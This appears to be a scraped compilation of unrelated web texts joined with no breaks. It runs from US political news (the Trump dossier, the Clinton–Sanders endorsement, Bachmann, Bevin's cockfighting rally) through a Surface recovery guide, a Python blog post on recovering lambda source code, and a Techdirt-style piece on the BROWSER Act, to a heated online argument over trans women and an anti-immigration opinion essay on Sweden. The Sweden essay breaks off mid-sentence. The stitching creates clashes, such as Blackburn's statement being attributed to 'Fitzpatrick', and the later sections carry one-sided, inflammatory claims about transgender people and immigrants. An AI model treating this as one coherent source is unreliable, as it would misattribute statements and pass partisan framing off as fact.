"You have to react to this with a certain humour, but there's also a sad side to this. Hysteria is being whipped up to maintain a political witch hunt."
Trump's 'fake news' claim over the Russian dossier
He also denied Russia possessed damaging material on Mr Trump's defeated Democratic rival Hillary Clinton.
It follows claims of Russian meddling in the election on the orders of President Putin to help Mr Trump win the White House race.
:: Did Russia spy on Trump when he was in Moscow?
The New York billionaire himself earlier dismissed the dossier - reportedly compiled by a retired British spy - as a "political witch hunt".
Questions have also been raised over his recent praise of Mr Putin and his cabinet nominations of some people seen as friendly towards Russia.
Mr Trump is due to hold a news conference later at Trump Tower, while his pick for Secretary of State, Rex Tillerson, faces tough questioning at his confirmation hearing over his close business relationship with Mr Putin.
Oil baron will be top US diplomat under Trump
The oil baron has also been a vocal critic of US sanctions against Russia after it annexed Crimea in 2014.
However, he is expected to tell the Senate Foreign Relations Committee that Russia poses a danger to the US and must be held accountable for its actions.
"Our NATO allies are right to be alarmed at a resurgent Russia," he will say, according to a statement released by the Trump team.
But at the same time he will also cite President Barack Obama's failure to act in Syria over the Assad regime's use of chemical weapons as a sign of weakness to Moscow.
"We backtracked on commitments we made to allies. We sent weak or mixed signals with 'red lines' that turned into green lights. We did not recognise that Russia does not think like we do," he will tell senators.
The Kremlin said it was unfazed by the reports, adding it was not wearing rose-tinted glasses regarding future relations with the 64-year-old Texan.
When South Carolina Democrats go to the polls Saturday they will be faced with an imperfect choice. Both Hillary Clinton and Bernie Sanders have appealing sides: She as an experienced statesperson and he as a maverick outsider. Both also carry significant baggage that could hinder a general election bid.
We recommend that Democrats cast their vote for Clinton. But regardless of their choice, we urge Democrats to get out and vote their conscience on Feb. 27.
On balance, Clinton stands above Sanders as someone who could step in and lead in a way that recognizes the need for compromise and cooperation in our federal government.
Although it’s true that many if not most Republicans in Congress would find it difficult to work with Clinton, they would have absolutely no common ground whatsoever with an administration headed by Sanders, who is a socialist and embraces higher taxes, universal health care and free college tuition.
Rather than both parties continuing to move to their ideological extremes, the United States needs Democratic and Republican candidates who represent the middle of the ideological spectrum.
Clinton supports a federal minimum wage increase to $12 an hour but recognizes that more than that could lead to job reductions. She also supports making college and community college more affordable, but again stops short of the dramatic plan put forth by Sanders – free college tuition.
On entitlements, Clinton has a plan for reform but would stop short of phasing out benefits for wealthier Americans. To contain Medicare costs, she would try to control rising prescription drug costs by encouraging administrators to negotiate with drug companies on pricing and letting Americans buy lower-cost drugs from other countries.
On social issues, Clinton takes predictably Democratic stances, favoring the Supreme Court’s same-sex marriage decision, supporting abortion rights and backing more gun control.
Finally, Clinton has a strong record of experience, having served as a U.S. senator and secretary of state. She’s familiar with the inner workings of the White House from her time at the State Department and her time as first lady to former President Bill Clinton. While no South Carolina conservative would likely call Clinton a moderate, she is decidedly more moderate than Sanders and would likely govern from slightly left of center.
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Sanders’ proposals push the envelope for many Americans. He proposes a $1 trillion federal jobs program to put up to 13 million Americans to work building infrastructure. He backs a $15-an-hour federal minimum wage. His tax plans generally call for the rich to pay higher taxes, but he hasn’t been specific.
Sanders supports free tuition at all public colleges and universities funded by a new “Wall Street” tax. On healthcare, he supports universal care. On other social issues, he supports gay and lesbian rights, he would expand funding for Planned Parenthood, and he favors instant background checks for gun purchases.
By some estimates, Sanders’ proposals would increase the size of the federal government by more than 50 percent, according to a recent report in The New York Times. That translates to additional spending of $2 trillion to $3 trillion per year.
Sanders’ campaign disputes the math.
Although Sanders’ ideas may sound appealing to some Democrats, there is very little chance his proposals would encourage constructive dialogue in Washington. While a Republican-controlled Congress is unlikely to welcome Hillary Clinton to the White House with open arms, her proposals are far closer to the center and could foster a vigorous and constructive debate about policy.
The accusations come a day after Sorenson — an Iowa state senator and Bachmann’s campaign chairman in the state — left her to endorse Texas congressman Ron Paul, who is currently a leading candidate to win the Iowa caucuses, The Washington Post reported.
More from GlobalPost: Santorum surges, Gingrich falls behind in Iowa: poll
“He told me that he was offered money, he was offered a lot of money by the Ron Paul campaign,” Bachmann said of Sorenson to reporters in a parking lot outside the studios of WHO-AM radio in downtown Des Moines. “No one else knows about that conversation other than Kent Sorenson and myself.”
Bachmann claims that Sorenson told her that he was offered money to support Paul in a phone call on Dec. 27. She did not say how much money was involved, the Post reported.
Sorenson denied the accusations.
“I was never offered money from the Ron Paul campaign or anyone associated with them and certainly would never accept any,” the former head of Bachmann's Iowa presidential bid said in a statement. “There is a clear top tier in the race for the Republican nomination for president, both here in Iowa and nationally. Ron Paul is easily the most conservative of this group.”
Bachmann's political director Wes Enos also denied that Sorenson's decision was motivated by a bribe of any kind.
“I can say unequivocally that Kent Sorenson’s decision was, in no way financially motivated,” Enos said in a statement. “While I personally disagree with Kent’s decision, and plan to stay with Michele Bachmann because I truly believe in her, I cannot watch a good man like Kent Sorenson be attacked as a ‘sell-out.’”
Enos quit Bachmann's campaign yesterday, and has been replaced, the Post reported.
These tools allow you to quickly refresh your Windows 8/8.1 system and keep all of your personal data in place or you can do a reset that will return your Windows 8/8.1 system back to the way it was on the day you first turned on the system.
Now this functionality is built in and your Windows 8/8.1 system should have a recovery image stored on your system that these tools will use to refresh/reset the system.
However, what do you do if that image is corrupted and the refresh/reset process is not working properly? In the past Microsoft has only ever released a recovery image for its Surface hardware line in one unique circumstance and that was to fix an update issue in the early days of Windows 8 RT.
Well now you can download a recovery image for any one of the Surface devices from Surface (RT) all the way up to Surface Pro 3 thanks to a handy recovery image download page at the Surface support site.
http://www.microsoft.com/surface/en-us/support/warranty-service-and-recovery/downloadablerecoveryimage
The process takes just four steps.
First, sign in with your Microsoft Account that you used to register your Surface hardware with the support site. If you have not registered it yet you will be given the opportunity in this process. If your device is already registered there will be an entry for it – just click on the selection button next to it then click Continue.
After clicking Continue you will get the download link.
Once your recovery image download has begun you will move to Step 3 for the instructions on how to create a Recovery Drive.
The final step is to use the newly created Recovery Drive to refresh/reset your system and there is a link to Microsoft’s support page on how to use this drive.
If you are a Surface user this will be a page to book mark for future reference.
In callee, the argument matcher library for Python that I released recently, there is this lovely TODO note for a seemingly simple feature. When using the Matching construct with a simple lambda predicate:
mock_foo . assert_called_with ( Matching ( lambda x : x % 2 == 0 ))
it would be great to see its code in the error message if the assertion fails. Right now it’s just going to say something like <Matching <function <lambda> at 0x7f5d8a06eb18>> . Provided you don’t possess a supernatural ability of dereferencing pointers in your head, this won’t give you any immediate hint as to what went wrong. Wouldn’t it be nice if it read as, say, <Matching \x: x % 2> instead?
So I thought: why not try and implement such a mechanism? This is Python, after all — a language where you can spawn completely new classes at runtime, walk the stack backwards (or even forward) and read the local variables, or change the behavior of the import system itself. Surely it would be possible — nay, easy — to get the source code of a short lambda function, right?
Boy, was I wrong.
Make no mistake, though: the task turned out to be absolutely doable, at least in the scope I wanted it done. But what would you think of a solution that involves not just the usual Python hackery, but also AST inspection, transformations of the source code as text, and bytecode shenanigans?…
The code, all the code, and… much more than the code
Let’s start from the beginning, though. Here’s a short lambda function, the kind of which we’d like to obtain the source code of:
is_even = lambda x : x % 2 = 0
If the documentation for Python standard library is to be believed, this should be pretty easy. In the inspect module, there is a function called no different than getsource . For our purposes, however, getsourcelines is a little more convienient, because we can easily tell when the lambda is too long:
def get_short_lambda_source ( lambda_func ): try : source_lines , _ = inspect . getsourcelines ( lambda_func ) except IOError : return None if len ( source_lines ) > 1 : return None return source_lines [ 0 ] . strip ()
Of course if you programmed in Python for any longer period of time, you know very well that the standard docs are not to be trusted. And it’s not just that the except clause should also include TypeError , because it will be thrown when you try to pass any of the Python builtins to getsourcelines .
More important is the ambiguity of what does “source lines for an object” actually mean. “Source lines containing the object definition” would be much more accurate, and this seemingly small distinction is rather crucial here. Passing a lambda function to either getsourcelines or getsource , we’ll get its source and everything else that the returned lines included.
That’s right. Say hello to the complete is_even = assignment, and the entire assert_called_with invocation! And in case you are wondering: yes, the result will also include any end-of-line comments. No token left behind!
Trim left
Clearly this is more than we’ve bargained for. Maybe there is a way to strip away the unnecessary cruft? Python does know how to parse itself, after all: the standard ast module is a manifestation of this knowledge. Perhaps we can use it to retrieve the lambda AST node in order to turn it — and just it — back into Python code?…
def get_short_lambda_ast_node ( lambda_func ): source_text = get_short_lambda_source ( lambda_func ) if source_text : source_ast = ast . parse ( source_text ) return next (( node for node in ast . walk ( source_ast ) if isinstance ( node , ast . Lambda )), None )
But as it turns out, getting the source text back this way is only mostly possible.
See, every substantial AST node — which is either an expression ( ast.expr ) or a statement ( ast.stmt ) — has two common attributes: lineno and col_offset . When combined, they point to a place in the original source code where the node was parsed from. This is how we can find out where to look for the definition of our lambda function.
Looks promising, right? The only problem is we don’t know when to stop looking. That’s right: nodes created by ast.parse are annotated with their start offset, but not with length nor the end offset. As a result, the best we can do when it comes to carving out the lambda source from the very first example is this:
lambda x : x % 2 == 0 ))
So close! Those hanging parentheses are evidently just taunting us, but how can we remove them? lambda is basically just a Python expression, so in principle it can be followed by almost anything. This is doubly true for lambdas inside the Matching construct, as they may be a part of some larger mock assertion:
mock_foo . assert_called_with ( Matching ( lambda x : x % 2 == 0 ), Integer () & GreaterThan ( 42 ))
Here, the extraneous suffix is the entirety of ), Integer() & GreaterThan(42)) , quite a lot of more than just )) . And that’s of course nowhere near the limit of possiblities: for one, there may be more lambda s in there, too!
Back off, slowly
It seems, however, that there is one thing those troublesome tails have in common: they aren’t syntactically valid.
Intuitively, a lambda node nested within some other syntactical constructs will have their closing fragments (e.g. ) ) appear somewhere after its end. Without the corresponding openings (e.g. Matching( ), those fragments won’t parse.
So here’s the crazy idea. What we have is invalid Python, but only because of some unspecified number of extra characters. How about we just try and remove them, one by one, until we get something that is syntactically correct? If we are not mistaken, this will finally be our lambda and nothing else.
The fortune favors the brave, so let’s go ahead and try it:
# ... continuing get_short_lambda_source() ... source_text = source_lines [ 0 ] . strip () lambda_node = get_short_lambda_ast_node ( lambda_func ) lambda_text = source_text [ lambda_node . col_offset :] min_length = len ( 'lambda:_' ) # shortest possible lambda expression while len ( lambda_text ) > min_length : try : ast . parse ( lambda_text ) return lambda_text except SyntaxError : lambda_text = lambda_text [: - 1 ] return None
Considering that we’re basically taking lessons from the dusty old tomes in the Restricted Section of Hogwarts library, the magic here looks quite simple. As long as there is something that can pass for a lambda definition, we try to parse it and see if it succeeds. The line that says except SyntaxError: is obviously not something for the faint of heart, but at least we are specifying what exception we anticipate catching.
And the kicker? It works. By that I mean it doesn’t return garbage results for a few obvious and not so obvious test cases, which is already more than you would normally expect from hacks of this magnitude. All the lambdas defined until this paragraph, for example, can have their source code extracted without issue.
Just one more thing
So… victory? Not quite. Astute readers may recall my promise of some bytecode arcana, and now’s the time for it.
Despite the initial success of our gradual, character dropping approach, there are cases where it doesn’t produce the correct result. Consider, for example, a lambda definition that’s nestled within a tuple:
>>> x = lambda _ : True , 0 >>> get_short_lambda_source ( x [ 0 ]) lambda _ : True , 0
We would of course expect the result to be lambda _: True , without a comma or zero.
Unfortunately, here’s where our earlier assumption fails rather spectacularly. The line of code extracted from AST is syntactically valid even with the extra characters. As a result, ast.parse succeeds too early and returns an incorrect definition. It should have been of a lambda contained within a tuple, but tuple is apparently what the lambda returns.
You may say that this is the sharp end of a narrow edge case, and anyone who defines functions like that deserves all the trouble they get. And sure, I wouldn’t mind if we just threw hands in the air and told them we’re simply unable to retrieve the source here. But my opinion is that it doesn’t justify serving them obviously wrong results!
A halting problem
Not if we can help it, anyway. Have a look at the expected source code and the one we’ve extracted, side by side:
lambda _ : True lambda _ : True , 0
The second line isn’t just longer: it is also doing more. It isn’t just defining a lambda; it defines it, conjures up a constant 0 , and then packs them both into a tuple. That’s at least two additional steps compared to the original.
Those steps have a more precise name, too: they are the bytecode instructions. Every piece of Python source is compiled to a binary bytecode before it’s executed, because the interpreter can only work with this representation. Compilation typically happens when a Python module is first imported, producing a .pyc file corresponding to its .py file. Subsequent imports will simply reuse the cached bytecode.
Moreover, any function or class object has its bytecode accessible (read-only) at runtime. There is even a dedicated data type to hold it — called simply code — with a buffer of raw bytes under one of its attributes.
Finally, the bytecode compiler itself is also available to Python programs as a built-in compile function. You don’t see it used as often as its counterparts eval and exec (which hopefully are a rare sight themselves!), but it taps into the same internal machinery of Python.
So how does it all add up? The idea is, basically, to cross-check the alleged source code of the lambda with its own bytecode. Any junk that’s still left to trim — even if syntactically valid — will surface as a divergence after compilation. Thus we can simply continue dropping characters until the bytecodes match:
lambda_text = source_text [ lambda_node . col_offset :] lambda_body_text = source_text [ lambda_node . body . col_offset :] min_length = len ( 'lambda:_' ) # shortest possible lambda expression while len ( lambda_text ) > min_length : try : code = compile ( lambda_body_text , '<unused filename>' , 'eval' ) if len ( code . co_code ) == len ( lambda_func . __code__ . co_code ): return lambda_text except SyntaxError : pass lambda_text = lambda_text [: - 1 ] lambda_body_text = lambda_body_text [: - 1 ] return None
Okay, maybe not the exact bytes, but stopping at the identical bytecode length is good enough a strategy. As an obvious bonus, compile will also take care of detecting syntax errors in the candidate source code, so we don’t need the ast parsing anymore.
That escalated quickly!
Believe it or not, but there aren’t any more objections to this solution, You can view it in its glorious entirety by looking at this gist.
Does it mean it is also making its cameo in the callee library?…
No, I’m afraid not.
Normally, I’m not the one to shy away from, ahem, bold solutions to tough problems. But in this case, the magnitude of hackery required is just too great, the result not satisfactory enough, the feature’s priority isn’t really all that high, and the maintenance burden it’d introduce is most likely too large.
from the legislative-lambada dept
You might recall that Tennessee Representative Marsha Blackburn recently played a starring role in gutting FCC consumer broadband privacy protections using the Congressional Review Act. It was one of the more bare-knuckled examples of pay to play government in recent memory, and many of the straight GOP-line voters have been getting an earful from their constituents back home. Utterly unmoved, most of those lawmakers have quickly shifted on their heels and are now busy trying to gut net neutrality with the same blatent disregard for public opinion they showed while killing privacy protections.
In what appears to be largely a PR move to try and deflect significant criticism for her large ISP-friendly policies, Blackburn has subsequently introduced the BROWSER Act -- aka the Balancing the Rights of Web Surfers Equally and Responsibly Act. The act, as the FCC's now-discarded rules would have done, requires that consumers must opt in before a broadband provider is allowed to collect and sell subscriber information.
According to a Blackburn press statement on the legislation, killing the FCC's popular privacy protections, then introducing this new bill (which has little more than zero chance of passing for reasons we'll get into) was necessary to eliminate "confusion":
"As a Member of the House Homeland Security Committee's Cybersecurity Subcommittee, internet privacy and security must be a top priority. Step one in that process was to override any regulation that creates more confusion by giving jurisdiction to multiple agencies, only to have them regulate only one-half of the digital world. Step two in that process is to introduce comprehensive internet privacy legislation that will more fully protect online users in their use of Internet Service Providers (ISPs), search engines and social media,” said Fitzpatrick. “The BROWSER Act does just that. We must offer American citizens real internet privacy protection, not mere lip service which gives internet users false expectations about their level of online security. I encourage all House members who are serious about protecting our constituents' online privacy to join me in advancing this bill."
So, as we already noted in great detail, this appears to be part of a script that was hashed out months ago by the GOP. Step one is to gut FCC oversight authority over one of the least-competitive sectors in American industry by killing the privacy protections, walking back net neutrality, and dismantling the FCC's 2015 decision to classify ISPs as common carriers under Title II of the Communications Act. From there, the plan is to shovel any remaining oversight of giant broadband duopolies to an FTC Blackburn (and the ISPs that adore her) know is ill suited to provide meaningful, real oversight.
The FTC lacks rule-making authority, is already under-funded and over-extended, and AT&T lawyers have shown they may already be able to tapdance around the agency's authority anyway. This was all pretty well spelled out in a recent interview by former FCC boss Tom Wheeler, during which he called this particular plan a "fraud":
It’s a fraud. The FTC doesn’t have rule-making authority. They’ve got enforcement authority and their enforcement authority is whether or not something is unfair or deceptive. And the FTC has to worry about everything from computer chips to bleach labeling. Of course, carriers want [telecom issues] to get lost in that morass. This was the strategy all along.
With the attacks on net neutrality and privacy becoming politically toxic, it's highly unlikely that Blackburn's proposal sees any serious support among Democrats. And because it actually would wind up expanding regulatory authority over "edge providers" (Netflix, Google, other content companies), it's not likely to see support among many Republicans, either. According to a joint statement made under the umbrella of the Internet Association, internet companies like Google, Netflix, and Twitter also oppose the new law:
We, along with a broad swath of the American economy, are aware of the BROWSER Act and are tracking the proposal. This bill has the potential to upend the consumer experience online and stifle innovation. Policymakers must recognize that websites and apps continue to be under strict FTC privacy enforcement and are not in an enforcement gap, unlike other stakeholders in the ecosystem.
This is all an arguably bizarre move for a politician that has shown, time and time again, that her very top priority is always the interest of giant ISPs like Comcast and AT&T -- coincidentally her top campaign contributors. Blackburn, who supported SOPA, has pushed legislation repeatedly trying to kill net neutrality under the banner of "restoring freedom." She's also gone out of her way to defend AT&T and Comcast's efforts to pass state-level protectionist laws hindering competition, which is a major reason her home state of Tennesee is one of the least connected states in the nation.
And this new privacy legislation -- which again expands regulation of internet content companies -- is also strange for a lawmaker that has consistently insisted over the years that "regulating the internet" kills innovation:
Which brings us to the multi-million-dollar question: if Blackburn is such an obvious servant to the interests of telecom duopolies, why is she pushing a law that would add regulatory burdens on both ISPs and content companies alike?
As the ACLU was quick to note in their review of the bill, the biggest goal appears to be to preempt a lot of the state and city regulations that have been popping up all over the country in response to the killing of the FCC's rules. More than 17 states have introduced privacy broadband rules in the wake of the death of the FCC rules, and whatever loophole-filled final draft Blackburn submits would be certain to preempt these already tougher protections:
In some cases, state legislation being considered is stronger than what would have been required under the FCC rules. For example, in New Hampshire, a bipartisan bill would prohibit providers from offering discounts to individuals who waive their privacy rights – something the ACLU urged but the FCC declined to do in its rules. Many states have also pressed for limits on not just the use but also the collection of information. ...Skepticism of Rep. Blackburn’s motives is also warranted given her voting history. Rep. Blackburn introduced the legislation to gut the FCC rules. If she had truly been interested in creating parity between the privacy standards applied to edge and internet providers, she could and should have worked to strengthen and replace the rules. Instead, she irresponsibly pushed for reversal of the rules, leaving an enormous privacy gap. Introduction of this legislation, which thus far shows no indication that it will become law and could easily be watered-down, does not remedy this reckless act."
Indeed, killing these state-level privacy protections does appear to be a top GOP priority after the March vote to kill the FCC rules. FCC majority Commissioners Ajit Pai and Mike O'Rielly have already said they plan to somehow prevent states from imposing such protections. You're to ignore that Pai and Blackburn have argued that anti-competitive protectionist laws written by the likes of AT&T are a "states' rights" issue, but now when states are looking to actually protect consumers it's a bridge too far.
But the primary reason Blackburn is pushing this proposal is that she knows it has absolutely no chance of passing, but may provide PR cover for her increasingly-obvious, duopoly-favoring telecom policy proposals ahead of the 2018 elections. Blackburn has been hammered in recent months via giant billboard ads purchased by activists criticizing her privacy sell out in her home state of Tennessee. There's nothing particularly subtle about the campaign:
Either way it's a win/win for Blackburn. If it passes, Blackburn's friends at AT&T and Comcast will ensure it's crafted to be aggressively weaker than state-level laws, overseen by an FTC they know won't have the authority, funding or time to actually police the subject. If it doesn't pass, it still functions as a marketing message designed to try and convince the voters that Blackburn isn't the anti-consumer Comcast coddler her voting record and campaign contributions clearly show she is.
The Tea Party candidate challenging Senate Minority Leader Mitch McConnell to a primary challenge insisted today that he does not support cockfighting despite being caught on an undercover video addressing a rally that was supporting the legalization of the bird fights.
Bevin insisted today that he had been invited to the rally to discuss his candidacy, saying people were "gathered to address various states' rights issues."
He apologized that his attendance may have "created concern on the party of many Kentucky voters."
"I am not and have never been, a supporter of cockfighting or any other forms of animal cruelty," Bevin said. "I am, however, a strong supporter of states' rights. Regardless of any personal views on this issue, animal rights are not an enumerated power granted to the federal government under the Constitution. Such decisions should be left to each state to decide.
I made the decision to speak at the gathering in Corbin because I support our 10th Amendment rights, not because I support or condone every topic discussed at the event."
Bevin, who is seeking to wrest Kentucky's Republican Senate nomination from McConnell, and his campaign have said repeatedly they thought it was a state's rights rally he attended in Corbin, but in the undercover video from WAVE 3 News, it's clear what the event is about with signs supporting the legalizing of cockfighting. Bevin even speaks right after a cockfighting activist who explained clearly why they were: "For the sole purpose of legalizing gamecock fighting at the state level."
The video emerged less than a month before the May 20 primary vote.
In recent weeks, Bevin insisted it was a rally for states' rights, not cock fighting. He told WHAS TV, "So, people at the first rally were there to discuss state's rights, everything from probably cockfighting, I don't know because I was gone, to helmet laws to growing of hemp etc." And he told the Courier-Journal, "It was a states' rights rally." In an interview with the News Journal, Bevin said he did not realize the event had anything to do with cockfighting.
But in the WAVE 3 News video of the rally, Gamefowl Defense Director Dave Devereaux asks Bevin: "Will you vote to support the effort to legalize gamecock fighting in the state of Kentucky?"
"I support the people of Kentucky exercising their right, because it is our right to decide what it is that we want to do, and not the federal government's," Bevin replied. "Criminalizing behavior, if it's part of the heritage of this state, is in my opinion a bad idea. A bad idea. I will not support it."
In a later interview with the reporter, Bevin says he wasn't "paying attention" to the speakers and when asked if he stands behind his support for cockfighting, Bevin says, "What I stand behind is people's ability to examine their First Amendment rights to speak about whatever they want to speak about."
Despite saying today he is against animal cruelty, earlier this month on WHAS radio Bevin again defended cockfighting, as well as dog fighting, by citing its historical roots in the state and in the nation's founding.
"You look at cockfighting and dog fighting as well, this isn't something new. It wasn't invented in Kentucky for example," Bevin said. "I mean the founding fathers were all, many of them, very actively involved in this and always have been. These things are part of a tradition and a heritage that go back for hundreds of years and were very integral early on in this country."
McConnell's team put out a scathing statement saying,"Matt Bevin's cockfighting episode will go down in history as one of the most disqualifying moments in Kentucky political history."
"Twenty years from now, we will all remember the time when the East Coast con-man thought so little of Kentuckians that he pathologically lied to us about absolutely everything until an undercover camera caught him red-handed at a cockfighting rally," McConnell press secretary Allison Moore said.
The campaign has already put out a radio ad this week using comedian Stephen Colbert making fun of Bevin over the cockfighting rally with the narrator saying, "Matt Bevin keeps making national headlines…but not in a good way," before mentioning some other low points in Bevin's campaign.
"Matt Bevin-a comedy of errors. But don't let the joke be on you," the narrator says.
Ok I wanna just break something down for every delusional terf out there (and yeah, literally every terf I’ve ever met is delusional). And then I promise I’m done posting about this.
You are not obligated to have sex with or date trans women. You don’t have to be attracted to them. You don’t have to like dick.
HOWEVER, that is no fucking excuse to say that trans women aren’t real women, or they they’re bad people or “men in disguise”. They’re women. They’re women who often times (as in if they haven’t had a sex change) have male genitals. NO TRANS PERSON HAS EVER SAID YOU HAVE TO SLEEP WITH THEM.
You’re all so self centered and delusional that you assume every trans lesbian wants to fuck you. I guarantee they don’t.
NO TRANS PERSON HAS EVER SAID YOU HAVE TO SLEEP WITH THEM.
http://www.thedailybeast.com/the-struggle-to-find-trans-love-in-san-francisco
http://freethoughtblogs.com/nataliereed/2012/04/04/caught-up-in-cotton/
So this isn’t shit women who are branded “terfs” just made up. This sort of rhetoric is everywhere and the message is clear: you’re a bigot and disgusting and a violent fetishist if you won’t have sex with trans people. Especially if you’re a lesbian who fails to desire transwomen.
So what’s the only solution to not be a “bigot” here?
Also a woman is an adult human female. That’s what the word means. Transwomen are male. If you think “woman” means something else that categorically includes both females and males then define it please.
they’re women who often times (as in if they haven’t had a sex change) have male genitals.
Indonesian
Italian Some native Swedes feel that Sweden's immigration policy is a sociological version of creative destruction: "Out with the old, in with the new." Various ethnic and religious identities have been formed, but Swedish national identity is being lost. If this trend continues, in a few years Malmö will become a city where ethnic Swedes are in the minority.
Sweden has become a shattered society. Optimists say that some day a new common historical and cultural context, based on Swedish multiculturalism, will grow. But immigrant riots in Husby, and the jihadist elements growing in major Swedish cities, tell a different story.
Officials in Sweden's government say they want immigrants to integrate into the society, but in areas where the majority are immigrants, there is not much society for them to integrate into. There are buildings and traces of a society, but the people who built that society are not around. In many areas where the majority of residents are immigrants and their children, the only identity the community manages to forge is that the area has many social problems.
The same racism, although in a different form, that immigrants may face in some parts of society, Swedes are facing in other parts of society -- where the majority are immigrants. However, only one of these racisms gets attention. This attitude, where racism against ethnic Swedes is made invisible, is something that one faces daily in Sweden. Sweden calls itself a "humanitarian superpower," but this humanitarian thoughtfulness is apparently not broad enough to include ethnic Swedes, especially those who once lived in areas where today there are large concentrations of immigrants. The Swedish government is now preparing a law that will force all Swedish municipalities, against their will, to provide public housing for newly arrived refugees. Well into the 20th century, Sweden was a homogeneous country, where there were hardly any immigrants. Today, given Sweden's liberal immigration policy, and the rapid and radical demographic developments taking place, Sweden's third largest city, Malmö, is on the way to becoming a city where ethnic Swedes are in minority. Its immigrant population has gone from 27 percent[1] in 1996, to 42% in December 2012. There are difficulties for immigrants in Sweden, as everywhere, especially in education and the labor market.[2] What is missing, however, are other views. In areas such as Fosie and Rosengård, where ethnic Swedes are in the minority, they too have been exposed to racism. These range from derogatory terms such as "Svennehora"(Swedish whore) or "Svennebög"(Swedish homosexual), used in the schools to insult children with ethnic Swedish background, to hostile acts. When a soccer club in the immigrant-dominated area Biskopsgården put up a maypole at this year's midsummer celebrations, for example, within 24 hours it was sawed down. In addition, in a form of institutionalized "reverse racism" against Swedes, the city of Malmö has a political goal in which the percentage of municipal employees with an immigrant background must match its proportion of Malmö's total population; 42% of the population of Malmö has an immigrant background, then 42% of the employees of the city of Malmö must have one, too. The result is that the higher the percentage of people with an immigrant background in Malmö, the less likely is it that people with an ethnic Swedish background will be hired for a job in the city administration. [3] Whatever one may think of these demographic changes or Sweden's liberal immigration policy, some native Swedes may feel that Sweden's immigration policy is a sociological version of creative destruction: "out with the old, in with the new." A refugee asylum-seeker used a fire extinguisher to attack Sweden's Minister for Justice and Migration, Morgan Johansson (left), while Johansson was visiting the Broby hospital asylum center on March 23, 2015. (Image source: Sveriges Television) Sweden has always been a country with a liberal immigration policy, but a few issues have arisen that are making the liberal immigration policy problematic. The Schengen Agreement of 1985, of which Sweden is a signatory, abolished border controls between many European countries, making it possible for people from southern Italy to travel straight to Sweden with no passport controls or identity checks. At the same time, during the last ten years, many European nations, especially the Scandinavian countries around Sweden, have tightened their immigration policy -- a change that makes Sweden's immigration policy even more liberal relative to neighboring countries. In addition, in 2013 the Swedish immigration office (Migrationsverket) promised to give all Syrian refugees permanent residency in Sweden. The result is that Sweden has become a shattered society. There are many immigrants searching for an identity, but there is no longer any cultural cohesion. What is being created are communities without any history. In Fosie and Rosengård, for example, demographic changes have been so radical and so fast, that the population has not yet had the time or opportunity to create a common historical or cultural context. One might well ask why there should be one, or if eventually one will naturally form. So many societies, however, especially in the Middle East and parts of Europe, have only seemed to grow more fragmented. There are those who are optimistic and say that some day a new common historical and cultural context, based on Swedish multiculturalism, will grow. But immigrant riots in Husby, and the jihadist elements growing in major Swedish cities, tell a different story. Some immigrants actually do find their way into some kind of Swedish identity, which makes them a part of Swedish society. But many immigrants seem only to find other identities, which make them feel like strangers in Sweden. Officials in Sweden's government say they want immigrants to integrate into Swedish society, but in areas where the majority are immigrants, there is not much society for them to integrate into. There are buildings and traces of a society, but the people who built that society are not around. There is only a historical and cultural vacuum. If every ethnicity in Sweden creates its own history and culture, somewhere along the line people forget to come together as a country. In many areas where the majority of residents are immigrants and their children, the only identity the community manages to forge is that the area has many social problems. If you talk with people in areas where the majority are immigrants, many do not see themselves as Swedish. Various ethnic and religious identities have been formed, but Swedish national identity is being lost. Swedish national identity is rejected by many people with immigrant backgrounds, unlike in the U.S., for example, where American identity is commonly embraced by immigrants, who simply add it to their former culture.[4] To give some idea of the current attitudes against Swedish national identity, consider the comments of Sweden's former Prime Minister (2006-2014), Fredrik Reinfeldt, who after visiting the area of Ronna in Södertälje (where most people have immigrant background), said: "The genuinely Swedish is only barbarism. The rest of the development has come from outside." This kind of statement from the political establishment -- people in power telling immigrants that Swedish national identity is no good -- is bewilderingly common, and undoubtedly does much to contribute to the reasons people with an immigrant background reject Swedish national identity. How do ethnic Swedes, in areas where they are in the minority, feel about the new situation? This is the discussion that is not taking place, either in the Swedish media or within the Swedish political establishment. Any talk of these radical demographic changes is labelled as racist by the Swedish political establishment. The local communities in Sweden that are losing their history by radical demographic changes are expected to accept these changes and keep silent, or as the old Swedish saying goes: close your fist in your pocket. When ethnic Swedes are in the minority in certain areas, it means they may face discrimination. But most politicians and media outlets in Sweden are not interested in any discrimination faced by ethnic Swedes where they are a minority. Reports about ethnic Swedes being harassed in areas where the immigrants are in the majority are not part of the multicultural discourse; immigration is only spoken of as a positive occurrence. But the same racism, although in a different form, that immigrants may face in some parts of society, Swedes are facing in other parts of society -- where the majority are immigrants. However, only one of these racisms gets attention. This attitude, where racism against ethnic Swedes is made invisible, is something that one faces daily in Sweden. When a crime is committed by immigrants, it is considered racist to point out the perpetrator's ethnic background or skin color. But when a crime is committed by an ethnic Swede and the victim is an immigrant, it is important to point out that the perpetrator was "white" or "Swedish." The crime of an ethnic Swede is perceived to be part of a "structural racism." Accepting this double standard is so tightly woven into the structure of society that it is almost impossible even to see. The norms of the society are so strong and embedded, that people are not even aware that they are behaving in a racist way. When a Muslim woman with a headscarf claimed that she had been beaten in August 2013, "anti-racist" activists[5] -- who claim that only Swedes and Westerners are real racists -- were telling the media that the perpetrators were "white, Swedish men." They also started a "hijab-petition," insisting that prominent Swedish politicians wear the Islamic veil for one day in support of the hijab-petition. In February 2014, the police closed the case because there were no suspects or witnesses to her attack. The police had material, all classified, from several security cameras, but the "white, Swedish men" who, according to the "anti-racists," had carried out the attack were never found. After mosque fires, or assaults on immigrants, "anti-racist" activists often immediately accuse "white, Swedish men," as being the perpetrators, and eventually it turns out that members of other ethnic groups committed the crimes. To put ethnic Swedes through this kind of racial profiling has become completely acceptable. Although they are not against immigrants, Swedish conservatives want a more restrictive immigration policy, mainly to prevent damage to the social fabric of local communities and cultures, as has happened in areas such as Rosengård and Fosie. Sweden calls itself a "humanitarian superpower," but this humanitarian thoughtfulness is apparently not broad enough to include ethnic Swedes, especially those who once lived in areas where today there are large concentrations of immigrants. Many old Swedish communities and their histories have been lost, and replaced by something that can only be described by the term "ghetto." Those are the Swedes whose communities were broken and who lost their local history because of Sweden's liberal immigration policy. There are Swedes who, over a period of 20 years, went from being a part of the majority population to become a minority in the area that they saw as their own. These people do not believe that Sweden's liberal immigration policy is humane. They may feel that Sweden's liberal immigration policy had robbed something from them. If we really all are equals, as an oppressed group whose local communities have been destroyed, their view should also be equal and discussed. In a country with a population of 9.5 million, it does not take much to cause communities to break down. The radical demographic changes that have been forced on poor neighborhoods such as Fosie and Rosengård are now going to be forced upon the rest of Sweden, whether the people want it or not. A liberal immigration policy may save many people from war and poverty, but it has its victims as 